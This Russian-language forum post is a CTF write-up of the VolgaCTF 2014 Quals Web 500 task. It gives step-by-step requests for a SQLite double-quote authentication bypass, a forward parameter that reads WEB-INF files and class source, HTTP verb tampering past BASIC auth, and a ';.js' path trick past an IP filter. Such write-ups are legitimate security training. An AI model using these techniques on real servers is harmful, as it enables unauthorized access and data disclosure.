Старый 31.03.2014, 09:09   #1
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию VolgaCTF 2014 Quals writeup

Web 500

1) Вызываем любую ошибку (например, 404), получаем HTTP заголовок про параметр debug
Код:
X-Error:Something wrong. Try "debug" parameter.
2) Авторизуемся с параметром debug - узнаем, что используется SQLite и пользовательские переменные в двойных кавычках

/login?login=test&password=test&debug

Код:
<!-- Debug: SQLite: SELECT 1 FROM users WHERE log = "test" AND pass = "test"; -->
3) Так как кавычки экранируются правильно, то в данном запросе нет SQL-инъекции. Необходимо использовать фишку, описанную в документации

https://sqlite.org/lang_keywords.html

If a keyword in double quotes (ex: "key" or "glob") is used in a context where it cannot be resolved to an identifier but where a string literal is allowed, then the token is understood to be a string literal instead of an identifier.

Таким образом, значения в двойных кавычках сначала интерпретируются как колонка, и если не вышло - то как строка.
То есть
Код:
log = "log" AND pass = "pass"
Сработает точно так же как
Код:
log = log AND pass = pass
Что в свою очередь вернет
Код:
TRUE
/login?login=log&password=pass

4) На самом сайте нас встречает строка
Код:
Thank you Mario!
But our princess is in another castle!
5) Теперь необходимо заметить разницу при авторизации с параметром next (в HTML комментарии формы авторизации) и без него

/login?login=log&password=pass
Результат: перенаправление на /welcome

/login?login=log&password=pass&next=/welcome
Результат: Содержимое /welcome без перенаправления

Предполагаем, что параметр next отвечает за forward запроса на другой сценарий
http://docs.oracle.com/javaee/5/api/...rvletResponse)

6) Forward запроса на произвольный файл дает нам как минимум две замечательных вещи:
- На перенаправляемый запрос не действуют фильтры, описанные в web.xml
- Запрос можно перенаправлять на файлы из папки WEB-INF

/login?login=log&password=pass&next=/WEB-INF/web.xml

По web.xml нужно узнать о следующем:
- Путь к исходному коду
Код:
<filter-name>SessionFilter</filter-name>
<filter-class>web.task.SessionFilter</filter-class>
- Путь к SQLite базе данных
Код:
<init-param>
<param-name>dbpath</param-name>
<param-value>
/var/lib/tomcat7/webapps/WebTask_o6z4xaGJg3Uc94MZ0T6W/
</param-value>
</init-param>
- Наличие AdminPanel, уязвимого к Verb Tampering
Код:
<!--
 AdminPanel
    <security-constraint>
        <web-resource-collection>
            <web-resource-name> 
                Admin Panel
            </web-resource-name>
            <url-pattern>/*</url-pattern>
            <http-method>GET</http-method>
            <http-method>POST</http-method>
        </web-resource-collection>
        <auth-constraint>
            <role-name>flag</role-name>
        </auth-constraint>
    </security-constraint>
    <login-config>
        <auth-method>BASIC</auth-method>
        <realm-name>Admin Panel</realm-name>
    </login-config>
    <security-role>
        <description>Flag Role</description>
        <role-name>flag</role-name>
    </security-role>
-->
7) Читаем и декомпилируем исходный код

/login?login=log&password=pass&next=/WEB-INF/classes/web/task/LoginServlet.class
/login?login=log&password=pass&next=/WEB-INF/classes/web/task/SessionFilter.class

8) Из LoginServlet мы узнаем о имени SQLite базы данных, которая расположена в веб-директории
Код:
String path = getServletConfig().getInitParameter("dbpath");
bd = DriverManager.getConnection("jdbc:sqlite:" + path + "2QOhU0f9202Y9WhrWsyP.db");
/2QOhU0f9202Y9WhrWsyP.db

Однако, в базе данных только учетная запись администратора, под которой мы и так смогли зайти, и строчка
Код:
Thank you Mario! But our princess is in another castle!
9) Из SessionFilter мы узнаем путь к AdminPanel и логику фильтра, проверяющего авторизован пользователь или нет

Код:
    private boolean matchExcludeFilterPattern(String url)
    {
        return url.endsWith(".js") || url.endsWith(".css") || url.endsWith(".jpg") || url.endsWith(".gif") || url.endsWith(".png");
    }

    private boolean isAdminIP(String ip)
    {
        return ip.equals("1.3.3.7");
    }

    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain filterChain)
        throws IOException, ServletException
    {
        HttpServletRequest request = (HttpServletRequest)req;
        HttpServletResponse response = (HttpServletResponse)resp;
        String url = request.getRequestURL().toString();
        if(matchExcludeFilterPattern(url))
        {
            filterChain.doFilter(req, resp);
            return;
        }
        if(request.getContextPath().equals("/AdminPanel_1C4ixvDOr4hFkFpTb2L112Ci631GK") && !isAdminIP(request.getRemoteAddr()))
            response.sendError(403, "IP from the unknown range");
        filterChain.doFilter(req, resp);
    }
/AdminPanel_1C4ixvDOr4hFkFpTb2L112Ci631GK/

10) Обходим basic-авторизацию используя Verb Tampering, найденный в шаге 6

Код:
XXX /AdminPanel_1C4ixvDOr4hFkFpTb2L112Ci631GK/ HTTP/1.1
Host: tasks.2014.volgactf.ru:28105
Получаем следующую ошибку "IP from the unknown range"

11) Так как подделать свой IP адрес на значение 1.3.3.7 нам не удается, следовательно, нужно обойти логику фильтра.
Фильтр не доходит до проверки IP адреса в случае, если matchExcludeFilterPattern возвращает TRUE.
Но функция getRequestURL() возвращает следующее значение:

http://docs.oracle.com/javaee/6/api/...etRequestURL()
Reconstructs the URL the client used to make the request. The returned URL contains a protocol, server name, port number, and server path, but it does not include query string parameters.

То есть, нам необходимо, чтобы "server path" заканчивался на ".js", но при этом запрос должен обрабатывать сервлет, расположенный на пути:
/AdminPanel_1C4ixvDOr4hFkFpTb2L112Ci631GK/

Вспоминаем о возможности передавать параметры через точку с запятой и пробуем:
Код:
XXX /AdminPanel_1C4ixvDOr4hFkFpTb2L112Ci631GK/;.js HTTP/1.1
Host: tasks.2014.volgactf.ru:28105
И наконец-то получаем флаг:
Код:
<h2>FLAG_e3c7c09b3cf3927dfb52c85d74cda133</h2>

PS: На данный момент задание все еще работает и можно попробовать повторить все шаги самостоятельно

Последний раз редактировалось BlackFan; 31.03.2014 в 09:20..
BlackFan вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot